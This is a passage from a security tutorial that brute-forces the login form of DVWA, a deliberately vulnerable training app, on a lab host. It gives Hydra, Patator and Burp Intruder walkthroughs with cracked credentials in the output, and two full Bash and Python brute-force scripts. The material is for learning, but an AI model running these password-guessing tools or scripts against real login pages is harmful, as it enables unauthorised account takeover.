10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root:~]# unset HYDRA_PROXY_HTTP; rm -f hydra.restore
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# cat <<EOF > /root/users.txt
admin
1337
gordonb
pablo
smithy
EOF
[root:~]#
[root:~]# time  hydra  -L /root/users.txt  -P /usr/share/seclists/Passwords/rockyou-40.txt \
  -e ns  -u -t 2  -w 15  -v  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-23 10:27:36
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 2 tasks per 1 server, overall 64 tasks, 19795 login tries (l:5/p:3959), ~154 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[80][http-get-form] host: 192.168.1.44   login: admin   password: password
[80][http-get-form] host: 192.168.1.44   login: smithy   password: password
[80][http-get-form] host: 192.168.1.44   login: gordonb   password: abc123
[STATUS] 1569.00 tries/min, 1569 tries in 00:01h, 18226 todo in 00:12h, 2 active
[80][http-get-form] host: 192.168.1.44   login: pablo   password: letmein
[STATUS] 2490.67 tries/min, 7472 tries in 00:03h, 12323 todo in 00:05h, 2 active
[80][http-get-form] host: 192.168.1.44   login: 1337   password: charley
[STATUS] attack finished for 192.168.1.44 (waiting for children to finish) ...
1 of 1 target successfully completed, 5 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-23 10:32:16
hydra -L /root/users.txt -P /usr/share/seclists/Passwords/rockyou-40.txt -e n  1.45s user 4.06s system 1% cpu 4:39.34 total
[root:~]#

Multiple Users Hydra

A few comments when using hydra in multiple user mode:

  • Once Hydra finds the last credential to brute force, it will quit.
  • I also found when doing any more than 3 threads, once the last user account was cracked, all but one process thread would finish and the remaining one would start to increase CPU usage (it also stopped sending out requests).
  • It is using whitelisting rather than blacklisting.
  • Could not use :S=Content-Length\: 5007 as the page length if it was a successful login as the page will be a different sized based on the username who logged in. Hydra does not support maths functions to say less than or greater than (currently in v8.1).

Patator

Patator Documentation

Patator is not as well-known as either Hydra, Medusa, Ncrack, Metasploit, or Nmap probably due to the it being the "youngest" tool (In November 2011 v0.1 was released publicly).

Quoting the README file: "Patator is NOT script-kiddie friendly, please read the README inside patator.py before reporting."

Patator is incredibly powerful. It is written in python, rather than C (which makes Patator use more system resources), however, it makes up for this as it has an it has an awful lot more features and options. It is not straightforward to use, and there is limited documentation for it. But I personally find it is worth investing the time to use it =).

Once again, let us read up, what does what, and think about what we need.

1
2
3
4
patator
patator http_fuzz --help
*patator comments (all in the header at the top)*.
*patator source code*.

The README also states to check the comments in the code (there is some unique information located here). I also found checking the actual source code to be helpful as it gave me a better understanding. It is written in Python, which makes it easier to understand.

Offline: less $(which patator)

Online: https://github.com/lanjelot/patator/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
url                : main url to target (scheme://host[:port]/path?query)
body               : body data
header             : use custom headers
method             : method to use [GET | POST | HEAD | ...]
follow             : follow any Location redirect [0|1]
accept_cookie      : save received cookies to issue them in future requests [0|1]
http_proxy         : HTTP proxy to use (host:port)
timeout            : seconds to wait for a HTTP response [20]
--rate-limit=N     : wait N seconds between tests (default is 0)
-t N, --threads=N  : number of threads (default is 10)
-x arg             : actions and conditions, see Syntax below
...SNIP...
actions            := action[,action]*
action             := "ignore" | "retry" | "free" | "quit" | "reset"
conditions         := condition=value[,condition=value]*
condition          := "code" | "size" | "mesg" | "fgrep" | "egrep" | "clen"
ignore             : do not report
quit               : terminate execution now
code               : match status code
size               : match size (N or N-M or N- or -N)
mesg               : match message
fgrep              : search for string

Debugging Patator

Patator is more verbose in its output compared to Hydra, as out of the box Patator will display all attempts made (you need to tell it to ignore requests based on a parameter). Plus, it will have various columns displaying results (which thread made the request, size of response, code response etc.), in every visible request. This helps to build up a bigger picture overall of what is going on with the attack. Patator has more of a "fuzzer" feel to it, rather than being a brute force tool.

Unless you tell it not to, Patator will not only do it but display the result of it and keep on doing it until instructed otherwise.

For whatever reason, if the displayed output is not enough, then Patator can be put through a proxy to monitor its actions (Burp does not need to be in "Invisible Proxy Mode".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]#
[root:~]# echo -e 'admin\n\npassword' > /root/password.txt
[root:~]#
[root:~]# patator  http_fuzz  method=GET \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
  0=/root/password.txt \
  header="Cookie: security=low; PHPSESSID=${SESSIONID}" \
  http_proxy=127.0.0.1:8080 \
  --threads=1  timeout=5  --rate-limit=1 \
  -x ignore:fgrep='Username and/or password incorrect.'  -x quit:fgrep!='Username and/or password incorrect.',clen!='-1'
18:12:40 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-23 18:12 BST
18:12:40 patator    INFO -
18:12:40 patator    INFO - code size:clen     | candidate                        |   num | mesg
18:12:40 patator    INFO - ----------------------------------------------------------------------
18:12:44 patator    INFO - 200  5276:5007     | password                         |     3 | HTTP/1.1 200 OK
18:12:44 patator    INFO - Hits/Done/Skip/Fail/Size: 1/3/0/0/3, Avg: 0 r/s, Time: 0h 0m 3s
18:12:44 patator    INFO - To resume execution, pass --resume 3
[root:~]#

Debugging Patator

Again, let's break down the command (also at the end, I will make a comparison between Hydra and Patator syntaxes):

  • patator - the main program itself
  • http_fuzz - the module to use for the method of the attack
  • method=GET - how to send the request
  • url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" - the full URL and how to use the wordlist
  • 0=/root/password.txt - defining the file for "wordlist 0" (aka password wordlist)
  • header="Cookie: security=low; PHPSESSID=${SESSIONID}" - the cookie information to send.
  • http_proxy=127.0.0.1:8080 - instructs Patator to use a proxy.
  • --threads=1 - single thread
  • timeout=5- timeout value of 5 seconds
  • --rate-limit=1 - wait 1 second before going on to the next thread
  • -x ignore:fgrep='Username and/or password incorrect.' - If it matches, do not display out. All Failed logins will contain this string (aka blacklisting)
  • -x quit:fgrep!='Username and/or password incorrect.' - If it does not match this string on the page, quit.
    • If we wanted to use the page length instead: -x ignore:clen=4945.
  • ,clen!='-1' - this extends the conditions required quit (AND operator). The page response length cannot be -1 (aka the page timed out).

You may have noticed, we had to create a wordlist to match the same values that were sent when using Hydra. This is because Patator does not (yet?) support Hydra's -e nsr options to send a blank password, the username as the password or reverse the login.

Unlike Hydra, Patator does NOT say "successfully logged into host: 192.168.1.44, login: admin, password: password". It is up to US to define the information we want shown (or not wanted). Patator will also keep on just "going through" the wordlist(s) until it reaches the end (again, it is up to us to define a breaking point). With this in mind, this is what we have done:

  • -x ignore:fgrep='Username... - means "do not display anything which matches this" (due to bad login)
  • -x quit:fgrep!='Username... - means "quit the attack if the page does not match" (due to successful login)
    • As this is a password single user brute force, it does not make too much sense to keep going as a user only has one password (normally?)
    • This enforces why it is a fuzzer, rather than a password brute force tool (and a reason why it is harder to use).
  • ,clen!='-1' - and extend the quit condition so the content length cannot equal -1 (which is the value for pages that timeout).

Patator Attack Command

Single User - admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# patator  http_fuzz  method=GET \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
  0=/usr/share/seclists/Passwords/rockyou.txt \
  header="Cookie: security=low; PHPSESSID=${SESSIONID}" \
  --threads=5  timeout=15 \
  -x quit:fgrep!='Username and/or password incorrect.',clen!='-1'
18:22:00 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-23 18:22 BST
18:22:01 patator    INFO -
18:22:01 patator    INFO - code size:clen     | candidate                        |   num | mesg
18:22:01 patator    INFO - ----------------------------------------------------------------------
18:22:01 patator    INFO - 200  5301:5032     | 123456                           |     1 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | 12345                            |     2 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | 123456789                        |     3 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5276:5007     | password                         |     4 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | iloveyou                         |     5 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | princess                         |     6 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | 1234567                          |     7 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | rockyou                          |     8 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | 12345678                         |     9 | HTTP/1.1 200 OK
18:22:01 patator    INFO - 200  5214:4945     | abc123                           |    10 | HTTP/1.1 200 OK
18:22:01 patator    INFO - Hits/Done/Skip/Fail/Size: 10/10/0/0/14344391, Avg: 22 r/s, Time: 0h 0m 0s
18:22:01 patator    INFO - To resume execution, pass --resume 2,2,2,2,2
[root:~]#

Patator Attack Command

To match the brute force attempt of Hydra, where it was displaying the values tried, -x ignore:fgrep='Username and/or password incorrect.' was not used. You can see what the correct value was to login (password), based on the "page size:content length" reported back (5276:5007), The first value is also different due to the extra line added in from DVWA core, which was noted when we did the baseline responses.


Multiple Users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# echo -e 'admin\n1337\ngordonb\npablo\nsmithy' > /root/users.txt
[root:~]#
[root:~]# patator  http_fuzz  method=GET \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \
  1=/root/users.txt  0=/usr/share/seclists/Passwords/rockyou-40.txt \
  header="Cookie: security=low; PHPSESSID=${SESSIONID}" \
  follow=0  accept_cookie=0 \
  --threads=10  timeout=20 \
  -x ignore:fgrep!='Welcome to the password protected area'
18:55:21 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-23 18:55 BST
18:55:21 patator    INFO -
18:55:21 patator    INFO - code size:clen     | candidate                        |   num | mesg
18:55:21 patator    INFO - ----------------------------------------------------------------------
18:55:22 patator    INFO - 200  5278:5009     | password:smithy                  |    20 | HTTP/1.1 200 OK
18:55:22 patator    INFO - 200  5276:5007     | password:admin                   |    16 | HTTP/1.1 200 OK
18:55:23 patator    INFO - 200  5280:5011     | abc123:gordonb                   |    43 | HTTP/1.1 200 OK
18:56:47 patator    INFO - 200  5276:5007     | letmein:pablo                    |  2554 | HTTP/1.1 200 OK
19:02:51 patator    INFO - 200  5274:5005     | charley:1337                     | 13967 | HTTP/1.1 200 OK
19:05:58 patator    INFO - Hits/Done/Skip/Fail/Size: 5/19785/0/0/19785, Avg: 31 r/s, Time: 0h 10m 36s
[root:~]#

Multiple Users Patator

Note, because the username and password values are hardcoded in the URL for the http_fuzz module, we are unable to use something like -x free:user=... to skip over the value once there has been a successful login. This means, Patator will keep on making requests with a user after it has already found the password.

Unlike Hydra, we can give a range of Content-Length values to look for or ignore.


Burp Proxy

Burp Suite has a proxy tool, which is primarily a commercial tool, however, there is a "free license" edition. The free edition contains a limited amount of features and functions with various limits in place, one of which is a slower "intruder" attack speed. Burp Proxy has been around since August 2003.

Burp mainly uses a graphic UI, which makes it harder to demonstrate how to use it (mouse clicking vs copying/pasting commands). This section really could benefit from a video, rather than a screenshot gallery.


Setup

  • The first thing we need to-do, setup our web browser (Iceweasel/Firefox) to use Burp's proxy.
    • IP: 127.0.0.1 (loopback by Burp's default), Port: 8080
    • Using FoxyProxy to switch profiles.

Burp Proxy


Burp needs a request to work with. Either we could write one out by hand (which would take a while), or we can capture a valid request and use that.

  • Using Iceweasel, make a request in the brute force form.
    • Values can be anything, however, in the example: username: admin, password: pass
  • Burp by default will have intercept enabled, allowing us to inspect the request.
  • Rather than allowing the request, we will send it to the Intruder
    • Actions -> Send to Intruder.

Burp Proxy Setup


Next, we are telling Burp how to attack the target (using a single wordlist)

Burp Proxy Target


At this stage, we are telling what values to attack with (going to use the original three debugging values)

  • Intruder (tab) -> 2 -> Payloads -> Payload Sets
    • Payload set: 1.
    • Payload type: Simple list.
  • Payload Options [Simple list]
    • Add: admin, <blank> & password as three separate values

Burp Proxy Values


Now we are going to alter the options as to how Burp behaves. This is an optional stage; however, it makes the output easier to see.

Disable the baseline request

  • Intruder (tab) -> 2 -> Options -> Untick: Make unmodified baseline request

Burp Proxy Intruder

Extract values from the page: In Burp's results, it will display the following text in the output. See why later.

  • Intruder (tab) -> 2 -> Options -> Grep - Extract -> Add
  • Fetch Response
  • Start after expression: <pre><br />
  • End at delimiter: </pre>
  • Okay

Burp Proxy Rules


Now we are ready to start the attack!

  • Intruder (Top Menu) -> Start attack

Note, there will be an alert explaining that the speed will be limited due to the "free edition" of Burp.

Burp Proxy Attack

Result: We can see based on the "Length" and "<pre><br />", which request (and payload) was "different" (aka a successful login).

Burp Proxy Results


Single User - admin

Now, let's pretend we didn't already know what the correct login was and use a wordlist.

  • Intruder (tab) -> 2 -> Payloads -> Payload set: 1.
  • Payload Options [Simple list]
    • Clear.
    • Load: /usr/share/seclists/Passwords/rockyou-5.txt -> Open

Then, to start the attack (missing a screenshot):

Note, there will be an alert explaining that the speed will be limited due to the "free edition" of Burp.

  • Intruder (Top Menu) -> Start attack

Burp Single User


Result: Again, you can see the request (and payload) which caused a different result (aka a successful login).

Note, Burp will continue to go through the wordlist until it reaches the end. It will not stop at a "valid login". This might not be the case in later versions (or I missed a method to stop this from happening).

Burp Single User Results


Multiple Users

Now we want to brute force all five users again.

  • Intruder (tab) -> 2 -> Positions -> Attack type: Cluster bomb.
    • This supports multiple lists (based on the number of fields in scope. Defined by §value§), going through each value one by one in the first wordlist, then when it reaches the end to move to the next value in the next list
    • For more information about attack types: https://portswigger.net/burp/help/intruder_positions.html
  • Highlight: username=admin -> Press: Add §
    • Result: username=§admin§

Burp Multiple Users


Let us now define our usernames to use. This is ID 1 as it is the first value (reading left to right, top to bottom).

  • Intruder (tab) -> 2 -> Payloads -> Payload set: 1.
  • Payload Options [Simple list]
    • Clear.
    • Load: /root/users.txt -> Open

Burp Multiple Users Intruder

Result: See Burp says "Payload count: 5"

Burp Multiple Users Intruder Result


Now we need to load in the passwords to try

  • Intruder (tab) -> 2 -> Payloads -> Payload set: 2.
  • Payload Options [Simple list]
    • Load: /usr/share/seclists/Passwords/rockyou-45.txt -> Open

Burp Multiple Users Passwords

Result: Burp says Payload count: 6,164 (5 * 6,164 = 30,820). This means Burp will make ~31k requests to the target (as it will not "break" on a successful login as well as removing values from the username).

Burp Multiple Users Passwords Results


Then, to start the attack (missing in screenshot):

Note, there will be an alert explaining the speed will be limited due to the "free edition" of Burp, including "Time-throttled" & limited to 1 thread. I couldn't find exact details of how "slow", but it is noticeably slower. Speed limits may change in later versions too.

  • Intruder (Top Menu) -> Start attack

Burp Multiple Users Attack

Result: Because Burp is not fully aware of a successful login, it will not perform any differently (like Patator), as they are both "fuzzing" the web application. This means it will do every user (even after successfully logging in) until the end of the password list. It will try and make every 30,820 requests to the target web application and with the speed limitation in place so this is less than ideal. Note, there is a feature request ticket to include this feature into Burp, so in later versions it may be supported.

Burp Multiple Users Results


Failed Attempts

This is because either I did not use the tool correctly or the tool does not yet support the necessary features and options.

Medusa

TL;DR: Did not get Medusa to work correctly. Just kept segmentation faulting.

Medusa is an older and more well-known brute force tool (I cannot find an exact release date for v1.0, although, v1.1 was reported to be released in May 2006). However, the last stable update was in May 2012, so it does not appear to be under development still.

I personally did not find the syntax as straightforward as Hydra (having to start with -m), plus it seemed to be lacking a few features (such as proxy support), and add on the fact I couldn't get the program to work correctly, as it would say segmentation fault on all HTTP 200 responses. If an incorrect cookie was used, it would say: ERROR: The answer was NOT successfully received, understood, and accepted while trying admin admin: error code 302. I could not see a way to overwrite this without recompiling the program (so this would not have made the login screen brute force impossible).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# medusa -u admin -P /root/password.txt -h 192.168.1.44 \
  -M web-form \
  -m USER-AGENT:"Mozilla" \
  -m FORM:"DVWA/vulnerabilities/brute/" \
  -m DENY-SIGNAL:"Username and/or password incorrect." \
  -m FORM-DATA:'get?username=&password=&Login=Login' \
  -m CUSTOM-HEADER:"Cookie: PHPSESSID=${SESSIONID}" \
  -g 5 -r 0 -b -v 4
[1]    41094 segmentation fault  medusa -u admin -P /root/password.txt -h 192.168.1.44 -M web-form -m  -m  -m
[root:~]#

Medusa


Nmap

TL;DR: Nmap does have a script which is able to brute force web forms, however, it is unable to set custom headers in the request, so we cannot log into DVWA.

Online: https://nmap.org/nsedoc/scripts/http-form-brute.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root:~]# nmap --script-help=http-form-brute

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-10-23 21:03 BST

http-form-brute
Categories: intrusive brute
https://nmap.org/nsedoc/scripts/http-form-brute.html
  Performs brute force password auditing against http form-based authentication.

  This script uses the unpwdb and brute libraries to perform password
  guessing. Any successful guesses are stored in the nmap registry, using
  the creds library, for other scripts to use.

  The script automatically attempts to discover the form method, action, and
  field names to use in order to perform password guessing. (Use argument
  path to specify the page where the form resides.) If it fails doing so
  the form components can be supplied using arguments method, path, uservar,
  and passvar. The same arguments can be used to selectively override
  the detection outcome.

  After attempting to authenticate using a HTTP GET or POST request the script
  analyzes the response and attempts to determine whether authentication was
  successful or not. The script analyzes this by checking the response using
  the following rules:
     1. If the response was empty the authentication was successful.
     2. If the onsuccess argument was provided then the authentication either
        succeeded or failed depending on whether the response body contained
        the message/pattern passed in the onsuccess argument.
     3. If no onsuccess argument was passed, and if the onfailure argument
        was provided then the authentication either succeeded or failed
        depending on whether the response body does not contain
        the message/pattern passed in the onfailure argument.
     4. If neither the onsuccess nor onfailure argument was passed and the
        response contains a form field named the same as the submitted
        password parameter then the authentication failed.
     5. Authentication was successful.
[root:~]#

Ncrack

TL;DR: Ncrack v0.4ALPHA does not support web forms. It is only able to-do HTTP basic access authentication.

Ncrack was written in 2009, and has not been updated since. Development has been moved into nmap's scripts instead.


Metasploit Framework

TL;DR: Metasploit framework v4.11.4-2015090201 does not support web forms, but rather HTTP basic access authentication (auxiliary/scanner/http/http_login).

Online: http://www.rapid7.com/db/modules/auxiliary/scanner/http/http_login.

...however, knowing what the development is like, I am sure one day it will be in there ;-).


Proof of Concept Scripts

Here are two Proof of Concept (PoC) scripts (one in Bash and the other is Python). They are really rough templates, and not stable tools to be keep on using. They are not meant to be "fancy" (e.g. no timeouts or no multi-threading). However, they can be fully customised in the attack (such as if we want to use a new anti-CSRF token on each request etc.).

I will put this all on GitHub at the following repository: github.com/g0tmi1k/boot2root-scripts/.

Benchmark

  • Bash: ~2.0 seconds
  • Python: ~3.4 seconds

Bash Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
# Quick PoC template for HTTP GET form brute force
# Target: DVWA v1.10 (Brute Force - Low)
#   Date: 2015-10-25
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/

## Variables
URL="http://192.168.1.44/DVWA"
DVWA_USER="admin"
DVWA_PASS="password"
USER_LIST="/usr/share/seclists/Usernames/top_shortlist.txt"
PASS_LIST="/usr/share/seclists/Passwords/rockyou.txt"

## Value to look for in response (Whitelisting)
SUCCESS="Welcome to the password protected area"

## Anti CSRF token
CSRF="$( curl -s -c /tmp/dvwa.cookie "${URL}/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"
sed -i '/security/d' /tmp/dvwa.cookie

## Login to DVWA core
curl -s -b /tmp/dvwa.cookie -d "username=${DVWA_USER}&password=${DVWA_PASS}&user_token=${CSRF}&Login=Login" "${URL}/login.php" >/dev/null
[[ "$?" -ne 0 ]] && echo -e '\n[!] Issue connecting! #1' && exit 1

## Counter
i=0

## Password loop
while read -r _PASS; do

  ## Username loop
  while read -r _USER; do

    ## Increase counter
    ((i=i+1))

    ## Feedback for user
    echo "[i] Try ${i}: ${_USER} // ${_PASS}"

    ## Connect to server
    REQUEST="$( curl -s -b 'security=low' -b /tmp/dvwa.cookie "${URL}/vulnerabilities/brute/?username=${_USER}&password=${_PASS}&Login=Login" )"
    [[ $? -ne 0 ]] && echo -e '\n[!] Issue connecting! #2'

    ## Check response
    echo "${REQUEST}" | grep -q "${SUCCESS}"
    if [[ "$?" -eq 0 ]]; then
      ## Success!
      echo -e "\n\n[i] Found!"
      echo "[i] Username: ${_USER}"
      echo "[i] Password: ${_PASS}"
      break 2
    fi

  done < ${USER_LIST}
done < ${PASS_LIST}

## Clean up
rm -f /tmp/dvwa.cookie

Python Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/python
# Quick PoC template for brute force HTTP GET form
# Target: DVWA v1.10 (Brute Force - Low)
#   Date: 2015-10-25
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-low/

import requests
import sys
import re
from BeautifulSoup import BeautifulSoup


# Variables
target = 'http://192.168.1.44/DVWA'
sec_level = 'low'
dvwa_user = 'admin'
dvwa_pass = 'password'
user_list = '/usr/share/seclists/Usernames/top_shortlist.txt'
pass_list = '/usr/share/seclists/Passwords/rockyou.txt'


# Value to look for in response header (Whitelisting)
success = 'Welcome to the password protected area'


# Get the anti-CSRF token
def csrf_token():
    try:
        # Make the request to the URL
        print "\n[i] URL: %s/login.php" % target
        r = requests.get("{0}/login.php".format(target), allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n[!] csrf_token: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Extract anti-CSRF token
    soup = BeautifulSoup(r.text)
    user_token = soup("input", {"name": "user_token"})[0]["value"]
    print "[i] user_token: %s" % user_token

    # Extract session information
    session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
    session_id = session_id.group(1)
    print "[i] session_id: %s" % session_id

    return session_id, user_token


# Login to DVWA core
def dvwa_login(session_id, user_token):
    # POST data
    data = {
        "username": dvwa_user,
        "password": dvwa_pass,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        print "\n[i] URL: %s/login.php" % target
        print "[i] Data: %s" % data
        print "[i] Cookie: %s" % cookie
        r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Wasn't it a redirect?
    if r.status_code != 301 and r.status_code != 302:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # Did we log in successfully?
    if r.headers["Location"] != 'index.php':
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Didn't login (Header: %s  user: %s  password: %s  user_token: %s  session_id: %s).\n[i] Quitting." % (
          r.headers["Location"], dvwa_user, dvwa_pass, user_token, session_id)
        sys.exit(-1)

    # If we got to here, everything should be okay!
    print "\n[i] Logged in! (%s/%s)\n" % (dvwa_user, dvwa_pass)
    return True


# Make the request to-do the brute force
def url_request(username, password, session_id):
    # GET data
    data = {
        "username": username,
        "password": password,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/vulnerabilities/brute/" % target
        #print "[i] Data: %s" % data
        #print "[i] Cookie: %s" % cookie
        r = requests.get("{0}/vulnerabilities/brute/".format(target), params=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Was it a ok response?
    if r.status_code != 200:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # We have what we need
    return r.text


# Main brute force loop
def brute_force(session_id):
    # Load in wordlists files
    with open(pass_list) as password:
        password = password.readlines()
    with open(user_list) as username:
        username = username.readlines()

    # Counter
    i = 0

    # Loop around
    for PASS in password:
        for USER in username:
            USER = USER.rstrip('\n')
            PASS = PASS.rstrip('\n')

            # Increase counter
            i += 1

            # Feedback for the user
            print ("[i] Try %s: %s // %s" % (i, USER, PASS))

            # Make request
            attempt = url_request(USER, PASS, session_id)
            #print attempt

            # Check response
            if success in attempt:
                print ("\n\n[i] Found!")
                print "[i] Username: %s" % (USER)
                print "[i] Password: %s" % (PASS)
                return True
    return False


# Get initial CSRF token
session_id, user_token = csrf_token()


# Login to web app
dvwa_login(session_id, user_token)


# Start brute forcing
brute_force(session_id)

Summary

Hydra vs Patator Syntax

This will show the some differences between Hydra and Patator commands:

  • Main Program:

    • THC-Hydra: hydra
    • Patator: patator
  • Single usernames to use:

    • Hydra: -l admin
    • Patator: N/A. Happens with in url="http://192.168.1.44/...
  • Single password to use:

    • Hydra: -p password
    • Patator: N/A. Happens with in url="http://192.168.1.44/...
  • List of usernames to use:

    • Hydra: -L /usr/share/seclists/Usernames/top_shortlist.txt
    • Patator: 0=/usr/share/seclists/Usernames/top_shortlist.txt
  • List of passwords to use:

    • Hydra: -P /usr/share/seclists/Passwords/500-worst-passwords.txt
    • Patator: 1=/usr/share/seclists/Passwords/500-worst-passwords.txt
  • Use empty passwords/repeat username as password

    • Hydra: -e ns
    • Patator: N/A. Does not have the option.
  • Try all the passwords, before trying the next password

    • Hydra: -u
    • Patator: The password wordlist (FILE0) has a lower ID than the username wordlist (FILE1).
  • Quit after finding a valid login

    • Hydra: -F
    • Patator: -x quit:.... More about this later.
  • Limit the threads

    • Hydra: -t 1
    • Patator: --threads=1
